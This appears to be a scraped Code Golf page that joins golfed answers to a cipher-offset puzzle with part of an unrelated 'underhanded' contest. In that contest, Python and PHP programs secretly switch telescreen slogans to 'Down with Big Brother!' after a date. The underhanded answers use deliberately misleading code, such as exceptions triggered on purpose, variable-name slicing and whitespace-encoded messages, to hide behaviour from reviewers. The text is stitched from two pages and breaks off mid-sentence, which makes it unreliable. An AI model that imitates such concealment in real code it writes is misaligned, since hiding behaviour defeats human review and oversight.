here](http://morphett.info/turing/turing.html?1b6a7eb727ffd1e51882) Brief overview: 1. Set up a counter on the left 2. Find first uppercase letter in target and make it lowercase. If all letters are lowercase move to step 5. 3. Find first uppercase letter in code. If most recent letter matches, move on to step 4. Else make letter lowercase and go back to step 2. 4. Increment counter, make all letters capital, delete first letter in code. Go back to step 2. If no letters are left in code, return clear tape and print x. 5. Clear all the tape but the counter. [Answer] # Pyth, 14 bytes ``` f!s.eqb@>zTkQ0 ``` I'm not sure if this is Ok but if the input is impossible, nothing is written to stdout and a zero division error is written to stderr. Takes the input on 2 lines, the second one is surrounded by quotes. Explanation: ``` - autoassign z to first input - autoassign Q to second input f 0 - The first value starting from 0 where the output is truthy .e Q - Enumerate over the second value >zT - z[T:] @ k - The kth item (number in enumeration) b - The character in the enumeration q - Are the two characters equal? s - Sum the values ! - Invert them (want first where there isn't a collision) ``` [Try it here!](http://pyth.herokuapp.com/?code=f!s.eqb%40%3EzTkQ0&input=BHGEFXWFTIUPITHHLPETTTCLOEWOELM%0A%22WETTERBERICHT%22&debug=0) [Answer] # SWI-Prolog, 115 bytes ``` a(S,W,R):-length(S,L),length(W,M),N is L-M,between(0,N,I),\+ (between(0,M,J),K is I+J,nth0(J,W,A),nth0(K,S,A)),R=I. ``` Usage example: `a(`ABCDEFGHIJKL`,`HELLO`,R).`. This uses the character codes strings declared with backticks. The answer is unified with `R`. If no match is found, this outputs `false.`. ### Explanation: ``` a(S,W,R):- length(S,L),length(W,M), N is L-M, between(0,N,I), % I is successively unified with an integer between 0 % and the last possible index of the coded message \+ ( % This will only be true if what's inside the parentheses % cannot be proven to be true between(0,M,J), % J is successively unified with an integer between 0 % and the length of the desired word K is I+J, nth0(J,W,A),nth0(K,S,A) % Check if one letter is the same in both string at % the same index ), % If it the case, then it will be 'true' and thus % the predicate \+ will be false, meaning we need to % backtrack to try a different value of I R=I. % If we get here it means it didn't find any matching % letter for this value of I, which is then the answer. ``` [Try it here](http://swish.swi-prolog.org/p/EpBwLrkw.pl) [Answer] ## Ruby, ~~91~~ 79 bytes ``` ->a,b{[*a.chars.each_cons(b.size)].index{|x|x.zip(b.chars).all?{|y|y.uniq==y}}} ``` Curse you, `Enumerator`! Why do I have to convert from string to array to Enumerator to array and waste precious bytes? >:( ``` ->a,b{ # define lambda [* # convert to array... a.chars # get enumerator from string .each_cons(b.size) # each consecutive group of (b.size) letters ] .index{|x| # find index of... x.zip(b.chars) # zip group with second input string .all?{|y| # is the block true for every element? y.uniq==y # uniqueify results in same array (no dups) }}} ``` [Answer] # CJam, ~~17~~ 16 bytes ``` ll:A,ew{A.=:+!}# ``` [Try it here](http://cjam.aditsu.net/#code=ll%3AA%2Cew%7BA.%3D%3A%2B!%7D%23&input=BHGEFXWFTIUPITHHLPETTTCLOEWOELM%0AWETTERBERICHT). Thanks to @PeterTaylor for saving a byte. Explanation: ``` ll:A,ew e# Finds every slice in the coded message with the length of the word {A.=:+ e# Compare the characters in each slice to the characters in the word, and add up the result. If the sum is zero, then the slice and the word have no characters in common. !}# e# Invert truthiness (0 -> 1, non-0 -> 0) Return index of first truthy value. ``` [Answer] # [MATL](https://esolangs.org/wiki/MATL), 27 bytes ``` jYbZ)tnb!wlhYCw!=a~ftn?1)1- ``` ### Examples ``` >> matl jYbZ)tnb!wlhYCw!=a~ftn?1)1- > EEEEEEEEEEEE, HELLO >> matl jYbZ)tnb!wlhYCw!=a~ftn?1)1- > XEEFSLBSELDJMADNADKDPSSPRNEBWIENPF, DEUTSCHLAND 11 ``` ### Explanation ``` j % input string YbZ) % split into two strings based on space. Trailing comma is not a problem tnb!wlhYC % arrange first string into sliding columns of the size of the second w!= % compare with transposed second string, element-wise with broadcast a~ % detect columns where all values are 0 (meaning unequal characters) f % find indices of such columns tn? % if there's at least one such column 1)1- % pick index of the first and subtract 1 for 0-based indexing ``` [Answer] ## Haskell, 72 bytes ``` l=length h i w s|l s<l w= -1|and$zipWith(/=)w s=i|1<2=h(i+1)w$tail s h 0 ``` Usage: `h 0 "DEUTSCHLAND" "XEEFSLBSELDJMADNADKDPSSPRNEBWIENPF"` -> `11`. Simple recursive approach: if the word `w`can be placed at the beginning of the string `s`, return the index counter `i`, else repeat with `i` incremented and the tail of `s`. Stop and return `-1` if the length of `s` is less than the length of `w`. [Answer] ## Python 2.7, 111 characters Tries all starting positions (a) and checks of any of the letters match (using the list comprehension). It returns "None" (Python's "NULL") if nothing is found (the for loop end and nothing is returned, which defaults to "None". ``` def d(c,s): for a in range(len(c)): if a not in [((c+s)[a+i:]).index(l)+a for i,l in enumerate(s)]: return a ``` Testsuite: ``` cases = { ("BHGEFXWFTIUPITHHLPETTTCLOEWOELM","WETTERBERICHT"):13, ("ABCDEFGHIJKL","HELLO"):0, ("EEEEEEEEEEEE","HELLO"):-1, ("XEEFSLBSELDJMADNADKDPSSPRNEBWIENPF","DEUTSCHLAND"):11 } for idx,(code,string) in enumerate(cases): output=d(code,string) print "Case: {}: d({:<35},{:<16}) gives: {}. Correct answer is: {}.".format(idx+1,code,string,output,cases[(code,string)]) ``` [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), 48 bytes ``` [S:W]hlL,WlM,L-M=:0reI,'(0:MeJ+I=:SrmA,W:JmA),I. ``` This is a direct translation of my Prolog answer. The `brachylog_main/2` generated predicate expects a list of two character codes strings with the coded string first as input, and returns the index as output, e.g. `brachylog_main([`ABCDEFGHIJKL`,`HELLO`],R).`. ### Explanation ``` [S:W] § Unify the input with the list [S,W] hlL,WlM, § L and M are the length of S and W L-M=:0reI, § Enumerate integers between 0 and the § last possible index '( ),I. § Unify the output with the current § enumerated integer if what's inside the § parenthesis cannot be proven to be true 0:MeJ § Enumerate integers between 0 and the § length of the word desired +I=:SrmA,W:JmA § Check if both strings contain at matching § indexes the same letter (unified with A) ``` [Answer] # JavaScript, ~~129~~ ~~121~~ ~~118~~ ~~119\*~~ 118 bytes ``` (w,t){for(j=0;(x=t.length)<(y=w.length);t=' '+t,j++){for(a=i=0;++i<y;)w[i]==t[i]?a=1:a;if(!a)break}return x==y?-1:j} ``` `w` is the coded message, `t` is the test string. This doesn't use regexes, but just compares letter by letter, shifting the test string (i.e. "WETTERBERICHT") by appending space before it. Easy and boring. --- \* test case with no match didn't work, now it does [Answer] # Japt, 12 bytes (non-competitive) ``` UàVr'."[^$&] ``` I'm gonna need some help with this one. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), ~~14~~ ~~13~~ 11 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` ŒIgùÅΔø€Ëà≠ ``` -1 byte thanks to *@ovs*. [Try it online](https://tio.run/##yy9OTMpM/f//6CTP9MM7D7eem3J4x6OmNYe7Dy941Lng/38nD3dXt4hwtxDP0ADPEA8PnwDXkJAQZx9/13B/Vx9frnAg1zXIyTXI09kjBAA) or [verify all test cases](https://tio.run/##VYsxCsIwFIavIpl7B2maF1/a1zY0KS2UggoiTg6C4OAiKIhb8QA9gAfQObh6iF6kVif9xv/7/vVmNl8t@u1uzEbdqRmx8W6a98@mXLqHO76upbt3h5u7uLY7t/3e66uKcZyALAtpVa6VRSQN1tqAUihSoJh5rBgGyDhkKkDLaq9iPg8EyAmqMKIhQCBKvwJ@@BMlgDTEDZAIY18kvoiENkZnCfBCQaLlkAvIrQmQ/ER8TxhFOMzhB1bXbw). **Explanation:** ``` Œ # Get all substrings of the first (implicit) input Ig # Get the length of the second input ù # Only leave the substrings of that length ÅΔ # Find the first (0-based) index which is truthy for: # (which results in -1 if none are truthy) ø # Zip/transpose; create pairs of the characters in the current substring # and the second (implicit) input €Ë # Check for each if both characters are equal (1 if truthy; 0 if falsey) à # Get the maximum (basically equal to an `any` builtin) ≠ # And invert the boolean (!= 1) # (after which the result is output implicitly) ``` [Answer] # PHP – 155 bytes ``` <?php for($p=$argv[1],$q=$argv[2],$l=strlen($q),$i=0,$r=-1;$i<strlen($p)-$l;$i++)if(levenshtein($q,substr($p,$i,$l),2,1,2)==$l){$r=$i;break;}echo$r."\n"; ``` Save as `crack.php` and run with the arguments in the command line. E.g.: ``` $ php crack.php BHGEFXWFTIUPITHHLPETTTCLOEWOELM WETTERBERICHT 13 ``` [Answer] # 𝔼𝕊𝕄𝕚𝕟, 14 chars / 25 bytes ``` îĊⱮ(í,↪`⁅⦃$}]` ``` `[Try it here (Firefox only).](http://molarmanful.github.io/ESMin/interpreter.html?eval=true&input=%5B%22BHGEFXWFTIUPITHHLPETTTCLOEWOELM%22%2C%22WETTERBERICHT%22%5D&code=%C3%AE%C4%8A%E2%B1%AE%28%C3%AD%2C%E2%86%AA%60%E2%81%85%E2%A6%83%24%7D%5D%60)` Kudos to @apsillers for the idea. # Explanation ``` // implicit: î = input1, í = input2 îĊ // search for first occurrence of: Ɱ(í,↪`⁅⦃$}]` // regex created by wrapping each word in [^ and ] (negation matches) ``` [Answer] # Ruby, ~~43~~ 36 bytes edit: String interpolation inside string interpolation inside a regex, yikes. The lazy approach: translates the word to a "negative" regex -- The `=~` operator does the rest. ``` ->m,w{m=~/#{"[^#{w.chars*'][^'}]"}/} ``` Test: ``` f=->m,w{m=~/#{"[^#{w.chars*'][^'}]"}/} require "minitest/autorun" describe :f do it "works for the given test cases" do assert_equal 13, f["BHGEFXWFTIUPITHHLPETTTCLOEWOELM", "WETTERBERICHT"] assert_equal 0, f["ABCDEFGHIJKL", "HELLO"] assert_equal nil, f["EEEEEEEEEEEE", "HELLO"] assert_equal 11, f["XEEFSLBSELDJMADNADKDPSSPRNEBWIENPF", "DEUTSCHLAND"] assert_equal nil, f["HKKH", "JJJJJ"] end end ``` [Answer] # [Python 3](https://docs.python.org/3/), 79 bytes ``` lambda x,y:[sum(map(str.__eq__,x[i:],y))for i in range(len(x)-len(y))].index(0) ``` [Try it online!](https://tio.run/##fY5Ba4NAEIXP9Vd4212wodCb0IO6Y1bdqOgGA2kQ26ytEFe7saC/3sYe0hRK32Vg5nvvTT8N7516nOun5/lUtS/Hyhytyd6fP1vcVj0@D3pVlvKjLK1x39gHayKk7rTZmI0ydaXeJD5JhUdyv4zL8bBq1FGO@IHMvW7UgGuMXLYGf1f4ItimgWCMpyCE8HgCRQJ8gywTFZcNZC5kgccEIsQwrm7H9Sj4axaEEV9QBpwn38igJ9s07q4k3OgXKcdX2Q8/LJJadxrdtuwA/Jy7OXAabhwaOzSiaZ6nWQxuEUCc@ksiha3IPcadmP75AYsitnDhov@a5y8 "Python 3 – Try It Online") [Answer] # [Husk](https://github.com/barbuz/Husk), ~~14~~ 13 bytes Or **[12 bytes](https://tio.run/##VYsxCsIwGIXvktlLNM2f/ml/29BEWyjFVRBxEBe3OhTcRC/g5uAibq4ewDuYi8TYSb/lwXvfm2/WC798Xtyuc/3B9Uc/Xb3OW7c/u@7m@tOMQr4f1@fde980jGMCsq6kVROtLCJpsNbGVEBVAI3ZiFWhgJJDqWK0rB01LOKxAJmgSjMKAgJRMQzww99QA0hD3ACJdByJPBKZ0MboMgdeKci1DLqAiTUxUpSL4YRZhqFOv7C2/QA)** using 1-based indexing and returning `0` for no-occurrence. ``` ←VoΠz≠⁰↓_L⁰ṫ² ``` [Try it online!](https://tio.run/##VYsxCsIwGIXvktlLNM2f/ml/29BEWyjFVRBxEBe3OhTcRC/g5uAibq4ewDuYi8TYSb/lwXvfm2/WC798Xtyuc/3B9UcfYrp6nbduf3bdzfWnGYV8P67Pu/e@aRjHBGRdSasmWllE0mCtjamAqgAasxGrQgElh1LFaFk7aljEYwEyQZVmFAQEomIY4Ie/oQaQhrgBEuk4EnkkMqGN0WUOvFKQaxl0ARNrYqQoF8MJswxDnX5hbfsB "Husk – Try It Online") ``` ← # subtract 1 to get 0-based indexing V # index of first element of ṫ² # all suffixes of arg 2, ↓_ # with n elements removed from the end, L⁰ # where n is the length of arg 1, # that satisfies ȯ¬ # NOT Σ # any z=⁰ # elements are equal when zipped with arg 1 ``` [Answer] # [K (ngn/k)](https://codeberg.org/ngn/k), 19 bytes ``` {**&(#y)(~|/y=)':x} ``` [Try it online!](https://ngn.bitbucket.io/k#eJyFkF+LgkAUxd/9FGLLroY1uVGEsg/+GRtrUskJgwgKV00qbdMgaeuzr+VS7r50XwbmnHPP5ReIp3r9la3lHHv5BvkH9yYezxRFxNPLLL/sxYBu0kdpkawldhEso410lHJpz83PFJmxjIL6UJ+6OjEmtkEQwjYkhKjYgq4F8YiRGLf4gGMFjg0VEYaThPb8lpQVVYN6HxmDIS5sCGJsFXKrVGFlqqpZylMIdQcrDsTaYCRrpqwNNdtx7LEJFdeApq0XIQ1OiKMiLJvatVcoo2g4RIU4uM7vRgpQqyzbpSIAXvLph8kmaKbZ0lv7R2+1jEO/6SVb8HXw0yxK4hR0e0KvC7x94YjisJGt/IYfR+F2Cd6FTqfTqpUPRRnx7pCJ9BNIPP2HEWUdsltMaN83VGHx9I3G3fboqUL772oId9tzeDxdYfe457HiCpGnbwwrDT/svacr) Takes the encoded message as `x` and the word as `y`. Returns `0N` (the integer null) if no possible occurrence was found. * `(#y)(~|/y=)':x` use [`i f':x stencil`](https://k.miraheze.org/wiki/Windows) to apply `(~|/y=)` to each `(#y)`-length window of the input `x` + `(#y)` get the length of the input word + `(~|/y=)` check if any letters are in the same position in the word and the slice of the encoded message; then negate the resulting bitmask * `**&` return the index of the first possible occurrence of the word in the encoded message [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal), 20 bytes ``` :ǎ'⁰l;ƛ⁰Zƛ≈;aßn;~ḃhḟ ``` [Try it Online!](https://vyxal.pythonanywhere.com/#WyIiLCIiLCI6x44n4oGwbDvGm+KBsFrGm+KJiDthw59uO37huINo4bifIiwiIiwiQkhHRUZYV0ZUSVVQSVRISExQRVRUVENMT0VXT0VMTVxuV0VUVEVSQkVSSUNIVCJd) I wrote this so long ago, waiting for `ḟ` to work on strings, that I forgot how this even works [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~9~~ 7 bytes ``` t"ƑÐƤi1 ``` [Try it online!](https://tio.run/##VYy9DcIwFIRXQa5pGME/z3mOXxwrduQsQAFKScMWQMUASExAQUtE9mASg6ngq@47nW67Hsd9zjs2H6fDfNms8nRlj9vz9Lqfc2YCK9BD0tH03kRE8hBjlNRCaoEatlwwLqQCXaGpLRWHH4oPADqQCECqbrhyXFnlQ/CdA5EMOK/LCq1Flln63EMnoDMS47cHovYvKOhjkEjcqaJ1gb0B "Jelly – Try It Online") ``` ÐƤ For each suffix, Ƒ is it the same after t trimming off " the corresponding letter of the word from each of its letters? i1 Find the first index of 1. ``` ### Wait, what? This beats the original, `W€ḟ"ƑÐƤi1`, by completely dropping the step of wrapping each letter into a singleton list. As for *how*: A Jelly string is a list of characters, which is to say it's a Python list of length-1 Python strings. For example, `“this”` is really `["t","h","i","s"]`. Most list builtins are built to handle lists whether that's what they got or not, by passing all arguments through [`iterable`](https://github.com/DennisMitchell/jellylanguage/blob/master/jelly/interpreter.py#L373), and in the case of a single character this wraps it in a singleton list to obtain a length-1 Jelly string. [`ḟ`](https://github.com/DennisMitchell/jellylanguage/blob/master/jelly/interpreter.py#L234) does this, and as a result its output is also always a list--so `ḟ"`, mapped over corresponding pairs, gives a list of lists, and for it to ever not change a suffix of the ciphertext each of its characters has to be pre-wrapped to match. However, [`t` *does not call `iterable` on its left argument*](https://github.com/DennisMitchell/jellylanguage/blob/master/jelly/interpreter.py#L1772), so here `t"` operates on *the Python string characters themselves* of the ciphertext suffix, and either leaves them alone or trims them to `''`. Finally, `Ƒ` performs a strict, non-vectorizing equality check, and `"` only maps its given link over pairs of corresponding elements up to the length of the shorter argument, placing the remainder of the longer argument into the result verbatim. If the ciphertext suffix is longer, the remainder automatically matches itself leaving only the prefix of length equal to the word to be considered, but if the word is longer, the result cannot be equal to the suffix because it is itself longer than the suffix. [Answer] # TeaScript, 14 bytes ~~20~~ ``` xc(yl#`[^${l}] ``` Similar to @aspillers clever JavaScript [solution](https://codegolf.stackexchange.com/a/68194/40695). ## Explanation ``` // Implicit: x = 1st input, y = 2nd input x // First input c // returns index of regex match yl# // Loop through every char in `y` `[^${l}] // Replace template, ${l} because current char in `y` ``` [Answer] # [Jolf](https://github.com/ConorOBrien-Foxx/Jolf/), 14 bytes [Try it here!](http://conorobrien-foxx.github.io/Jolf/#code=IHNpz4FJIi4nW14kJl0&input=QkhHRUZYV0ZUSVVQSVRISExQRVRUVENMT0VXT0VMTQoKV0VUVEVSQkVSSUNIVA) ``` siρI".'[^$&] _s search i input 1 for I input 2 ρ replacing (2 byte rho character) ".' all characters [^$&] with that ``` [Answer] # Perl, 38 + 1 = 39 bytes ``` perl -E "$r=<>=~s!.![^$&]!gr;say@-if<>=~/$r/x" < input ``` where input looks like: ``` WETTERBERICHT BHGEFXWFTIUPITHHLPETTTCLOEWOELMRXXPAKAXMAMTXXUDLTWTNHKELEPPLHPRQ ``` This is the same idea as the javascript one. [Answer] ## Java, 136 Characters Regex-based solution inspired by [apsillers](https://codegolf.stackexchange.com/users/7796/apsillers) JavaScript version. ``` class L{public static void main(String[]a){a=a[0].split(a[1].replaceAll("(.)","[^$1]"));System.out.print(a.length>1?a[0].length():-1);}} ``` [Answer] # [Perl 5](https://www.perl.org/), 46 bytes Uses @apsillers' regex idea. ``` $a=<>=~s/./[^$&]/gr;/$a/g;$_=(length$a)/-4+pos ``` [Try it online!](https://tio.run/##K0gtyjH9/18l0dbGzrauWF9PPzpORS1WP73IWl8lUT/dWiXeViMnNS@9JEMlUVNf10S7IL/4/39XJMDl4erj4/8vv6AkMz@v@L@ur6megaHBf92CHAA "Perl 5 – Try It Online") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~10~~ 9 bytes ``` ṡ⁹L¤=S€i0 ``` [Try it online!](https://tio.run/##VYy9DcIwFIRXQa4pWIDCP8@x4xfHih05C1CAsgAljEBFi4REQ0uRNohBkkUMpoKvuu90ut2m7/cpTcNlPgw4Xtd@Pt63q/S8kfHxOk3DOSXCVAGyizLo1umgFDoIIXCsIdaAFVkuCGVcgCyULg1mhx@ydwDSI/OAoqyosFQY4bx3jQUWNVgn80oZo0gi8XMPDYNGcxW@PSDWf0FAGzxXSK3IWmbIGw "Jelly – Try It Online") Uses 1-indexing, which is Jelly's default. [10 bytes](https://tio.run/##VYyxDcIwFERXQa4pWIAitr9jxz@OFTtyFqAAZQE6YAQqKJGQaGgp0gYxSLKIwVTwqnun021WXbeNcewv077H4bp00@G@Xky7c3zeyPB4Hcf@FCOhMgfRBuFVY5WXEi147xlWECrAksxnJKOMg8ilKjQmhx@StwDCIXWAvCgzbjKuuXXO1gZoUGCsSCuptSSRhM891BRqxaT/9oBY/QUOjXdMYmZ40iJB3g) to use 0-indexing. This returns \$0\$ if no occurrence is found (\$-1\$ for the 0-indexed version) ## How it works ``` ṡ⁹L¤=S€i0 - Main link. Takes M on the left and W on the right ¤ - Create a nilad: ⁹ - W L - Length ṡ - Overlapping slices of length W of M = - Compare for equality with W S€ - Count the number of 1s in each i0 - First index of 0, else 0 if not found ``` [Answer] # [R](https://www.r-project.org), 56 bytes ``` \(x,y)match(T,Map(\(i)all(x[i+seq(y)]!=y),seq(x)-1),0)-1 ``` [Attempt This Online!](https://ato.pxeger.com/run?1=m72waMH6tMyi4pL4gvzi4syknFTbpaUlaboWNy1iNCp0KjVzE0uSMzRCdHwTCzRiNDI1E3NyNCqiM7WLUws1KjVjFW0rNXVA7ApNXUNNHQMgCdX_MDe1uDgxPdU2NUejuKSouCAns0RDycnD3dUtItwtxDM0wDPEw8MnwDUkJMTZx9813N_Vx1dJR0lJU5OrPL8oBVVfOFCZa5CTa5Cns0cIVBWquzWg9umANGtycWG13hUJ4LTLw9XHx58IOyAeXbAAQgMA) Counterintuitively (at least to me), `match(TRUE,NA,nomatch=0)` returns `0`, rather than `NA`, but this is actually helpful here. We could save 2 bytes (delete `-1`) by using R's native 1-based indexing; and a further 1 or 2 bytes by returning nothing (using `which()[1]`) or `NA` (delete `,0`) to indicate no occurrence. [Answer] # [Brachylog](https://github.com/JCumin/Brachylog) (v2), ~~16~~ 13 bytes ``` {sʰz₂}ᶠ∋↙.≠ᵐ∧ ``` [Try it online!](https://tio.run/##VU0/S8NAFP8qxw2iUDq4Osgl99K75pKeyZUclA5pKW1FWzCFoLVLhNIigqtbcXHtYlE/gt8i90XitYv6Gx7v/f693k3aH91eTYen1XxUfq3P52a5NcWDPis/Xy9N8ZQfzXKMjnGuc3yC7/dHP51MpjPUG6DxBM1G4wxdD7IsHQ7qeGEryo@dnYvy/bmaZ9/bO1MUi3K3MatHs3ypm/XGKmb1VlUd1MEOa4CnE0/xtuSKMSFBKeWKFiQtEEGktSQ@0QEJlNZtKlSiQuaDACkFk9EFruHEJiByIOIuU7hb62DiuBS8BuNNX1gDAyFaBwH@4J@gAbxYODEI2gwIDQn1qYxjGYXgJBxC6Vk7hbaKXSZISA8h5vvM0s09DgSnECrukv3T372Luj8 "Brachylog – Try It Online") Takes input as a list `[message, word]`. The header prints it all very prettily but the output of the actual predicate is just a 0-index if it succeeds and declarative failure if it doesn't. ``` { }ᶠ Find every possible z zip of the word with ₂ an equal-length sʰ contiguous substring of the ciphertext. ∋ One of those ≠ᵐ contains no pair the elements of which are equal, ↙. ∧ and its index is the output. ``` [Answer] # SM83/Z80, 30 bytes First input (encrypted) in `hl`, second (unencrypted) in `de`. Output in `bc`. ``` 01 00 00 E5 D5 09 7E A7 28 11 1A A7 28 0A BE 23 13 20 F3 03 D1 E1 18 EB 02 FF FF D1 E1 C9 ``` ``` ecr: ld bc,0 // 01 00 00 setup bc oloop: push hl // E5 store originals push de // D5 add hl,bc // 09 handle offset iloop: ld a,(hl) // 7E and a // A7 test if at end of arg 2 jr z,succ // 28 11 if so succeed ld a,(de) // 1A load encrypted char and a // A7 if at end jr z,fail // 28 0A fail cp (hl) // BE compare to other side inc hl // 23 inc de // 13 next char jr nz,iloop // 20 F3 if unequal, loop inc bc // 03 else inc offset pop de // D1 pop hl // E1 reload originals jr oloop // 18 EB and jump back fail: ld bc,-1 // 02 FF FF insert failure succ: pop de // D1 pop hl // E1 reload original args ret // C9 return ``` ]
[Question] [ **Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions. # Winners (decided 14/09/14) [Winning answer](https://codegolf.stackexchange.com/a/37290/31300) by Markuz (Python) - 63 votes [Runner up](https://codegolf.stackexchange.com/a/37271/31300) by kuroi neko (PHP) - 55 votes # Introduction You are in the world of the book [Nineteen Eighty-Four](http://wikipedia.org/wiki/nineteen_eighty-four) by George Orwell. You are a programmer for the Party and are tasked with writing a program for the telescreens. It should output pro-party messages, and you have chosen the ones shown in task 1. below. However, you have recently begun to despise the Party, and you want the program to spark a revolution. So, you make the program say "Down with Big Brother!". You must give yourself time to escape, as you will be tortured once people realise what your program does, so you make it act as a "timebomb" that will explode after you have gone to safety. *Note:* This will not spark a revolution, but you are in such a frenzy of hatred towards the party that you think it *will* actually make a difference. # Task Write a program which: 1. before 14/09/2014, will always output the following lines on a rotation (i.e. prints one line, waits 10 seconds, prints next line, etc. ad infinitum): ``` War is Peace Freedom is Slavery Ignorance is Strength ``` 2. after 14/09/2014 will print `Down with Big Brother!` every 10 seconds. 3. at first glance looks like it does only 1. so that you will not be caught by the Party. # Rules * [Standard loopholes](http://meta.codegolf.stackexchange.com/questions/1061/standard-loopholes-which-are-no-longer-funny) are of course not allowed. * This is an *underhanded* challenge, and so the main objective is to make task 2. as inconspicuous and covert as possible. * The Party will look at all of the files used, so you can't just store the secret message in a file! * If your language does not support finding the date, or makes it very difficult, you may make the program execute task 2. after it is run for 240 hours (10 days). * You should include the code and an explanation of how it works in your answer. * This is a popularity contest. ***Note:* It is not a difficult program to write. The difficult part should be hiding the "revolutionary" code. Lines where it is not clear what you are doing will be questioned by the Party, and you will have to explain them.** # Example - Python 3 *Note:* Obviously this program is **way** too obvious. ``` from datetime import datetime from time import sleep lines = [" War is Peace ", " Freedom is Slavery ", "Ignorance is Strength"] secretlines = ["Down with Big Brother!"] def main(): while True: now = datetime.now() year, month, day = now.year, now.month, now.day if (year, month, day) < (2014, 9, 14): for line in lines: print(line) sleep(10) else: for line in secretlines: print(line) sleep(10) if __name__ == "__main__": main() ``` Thanks to [Calvin's Hobbies](https://codegolf.stackexchange.com/users/26997/calvins-hobbies) for pointing out a problem with the code above (now fixed). [Answer] ## Python This program writes to a log file if it runs fine or if it has encountered an error. Since this program will run forever, it only writes to the logfile on the 14th day of each month in order to save disk space. ``` import time as ut import sys as iw #initialize global variables gw, hn, ki, wh = 0, 0, 0, 0 go = open("BigBrother.log", "a") while True: try: #if it is the 14th day of a month: #write day, month, year and 'Everything works fine!' into the logfile if gw == 14 and hn != wh: #store the current month in wh, so that the log message is only written once per month wh = hn go.write(gw + hn + ki + " Everything works fine!") for gD in ["War is Peace", "Freedom is Slavery", "Ignorance is Strength"]: print gD ut.sleep(10) #get the current date #gw=day, hn=month, ki=year gw, hn, ki = map(int, ut.strftime("%d %m %y").split()) except Exception: try: #in the unlikely event that something went wrong: #print out all global variables as well as the name of the program, #so that our comrades from the IT support can quickly locate and fix the problem. wh = "".join(dir()) print "%s %s %s!" % (wh[47:55:2], wh[55:63:2], iw.argv[0]) #write an error message to the logfile go.write(gw + hn + ki + " ERROR!") #and then safely exit the program exit(1) #we get here if an error occured in this exception block, #for example if the write to the logfile failed. except Exception: #just wait 10 seconds and then try again ut.sleep(10) ``` ### How to run it: ``` python "Big Brother" ``` **Note:** The name of the script is actually important, as this program outputs "Down with 'script name'!". ### How it Works: * The write to the logfile throws an exception because the program tries to add integers and strings. * The call to `dir()` returns a sorted list with the names of the global variables, not the values: ``` ['____builtins____', '____doc____', '____name____', '____package____', 'gD', 'go', 'gw', 'hn', 'iw', 'ki', 'ut', 'wh'] ``` * Print out every second letter + the name of the script: "Down with Big Brother!" * The `exit(1)` is never executed because the write to the logfile fails again. [Answer] `From: Miniluv 1st directorate, ideological orthodoxy monitoring` `To : Minitrue 5th directorate, multimedia propaganda division` by order of Miniluv/GT07:48CT/3925: * In order to reduce the wear on our memory banks: Effective immediately, all identifiers will be limited to 2 characters ($ not included). * There is but one class, and that is the proletarian class. Effective immediately, the use of classes in PHP will be considered a 1st grade thoughtcrime. * Comments are but a leftover of bourgeois programming practices and a waste of storage space. Effective immediately, commenting a source code will be considered a criminal offence. * To avoid breeding thoughtcrimes, lines displayed on a telescreen will be limited to three (3) words. As a special exception, the name of our beloved Comrade Great Leader will count as one word. Effective immediately, all programs will be designed to enforce this rule. Exceptional derogations can be granted under the supervision of Miniluv/GT07 Long live Big Brother! `From: Minitrue 5th directorate, multimedia propaganda division` `To : Minipax 2nd directorate, home front division` `Copy: Miniluv 1st directorate, ideological orthodoxy monitoring` As you well know, comrades, the 14th of September is the anniversary of our glorious leader. For this special occasion, we will display a specific message of love on all the telescreens of Airstrip One. As ordered by the Central Commitee and in order to maximize the efficiency of our proletarian hero-programmers, provisions have been made to enable our telescreen controller to praise various eminent Party members or spite hated enemies of the People at various dates. Another special message for the celebration of the failed coup of the wretched lackey of imperialism Goldstein is already scheduled to appear on our screens at the appropriate date. This cutting edge software should allow even duckspeakers with low programming skills to adapt the telescreen output to the needs of the day. By adding more words to the existing dictionary, virtually any three words sentence could be synthetized. The possibilities are mind-boggling! Another triumph of science under the wise supervision of our beloved comrade Big Brother, for the benefit of the grateful Ingsoc laborious masses! Long live Big Brother! approved by Minitrue/ZK00:23AB/1138 (illegible signature) ``` <?php // Proletarian Hate Page 5.3 (comment approved by derogation Miniluv/GT07:26JD/4198) $w1=array("War","Freedom","Ignorance","Down","Long"); $w2=array("is","with","live"); $w3=array("Peace","Slavery","Strength","Goldstein","Big Brother"); $ev=array(array (3,1,4,14,9),array (4,2,3,12,12)); $de=array(array(0,0,0),array (1,0,1),array (2,0,2)); function ms($e) { global $w1,$w2,$w3; return $w1[$e[0]].' '.$w2[$e[1]].' '.$w3[$e[2]]; } function di($d) { global $ev,$dc,$de; foreach ($ev as $e) if ($e[3] == $d[0] and $e[4] == $d[1]) return ms($e).'!'; return ms($de[$dc++%count($de)]); } $dc=0;for(;;) { sleep (10); echo di(explode(" ", date("j n")))."\n"; } ?> ``` [Answer] # Python 3 ``` import time import itertools lines = """ ## # WARNING: The contents of this code may only # be modified by the Ministry of Truth. # # Any unauthorized modification to this # file is hereby prohibited under strict # penalty by the Ministry of Love. # # Ingsoc Credos: # # War is Peace # Freedom is Slavery # Ignorance is Strength [ " War is Peace", " Freedom is Slavery", "Ignorance is Strength", ] """ ln=len(lines) def prefix(count): spacing=2 space=ord(' ') return space*2+count if count else space def get_line(n, l, d): return l[d][n%len(l[d])] def load_lines(l=[], p=[]): for ln in l if isinstance(l,list) else l.splitlines(): p.append(len(ln) - len(ln.rstrip())) if not l: return ["".join([chr(prefix(c)) for c in p])] return l def wait(t, dt=[ln]): dt.append(t if time.sleep(t) else dt[0]<<7) return len(dt)>dt[-1] _,lines = load_lines(lines),(eval(lines), load_lines()) for i in itertools.count(): print(get_line(i%3, lines, wait(10))) ``` Probably a comparatively simple approach to some here, but this is how it works: * I chose the 10-day method, not because Python has a particularly hard time with dates, but because I felt it was easier to obfuscate this logic in the code than looking for a specific date, which would appear a lot less innocuous. * The hard-coded string containing the comment & code which is evaluated to build the list of Ingsoc slogans is the key for both of the change mechanisms (time & message). That is why, as you have probably guessed, it is particularly wordy. + For the time, the length of the string is 675, when shifted left by 7 bits is 86500, which is the number of 10-second iterations in 240 hours or 10 days. + For the message itself, the code containing the Ingsoc slogans is padded with trailing white-spaces that correspond to each letter in the hidden message offset from the '@' character. A lack of trailing white-spaces actually represents a white-space in the hidden 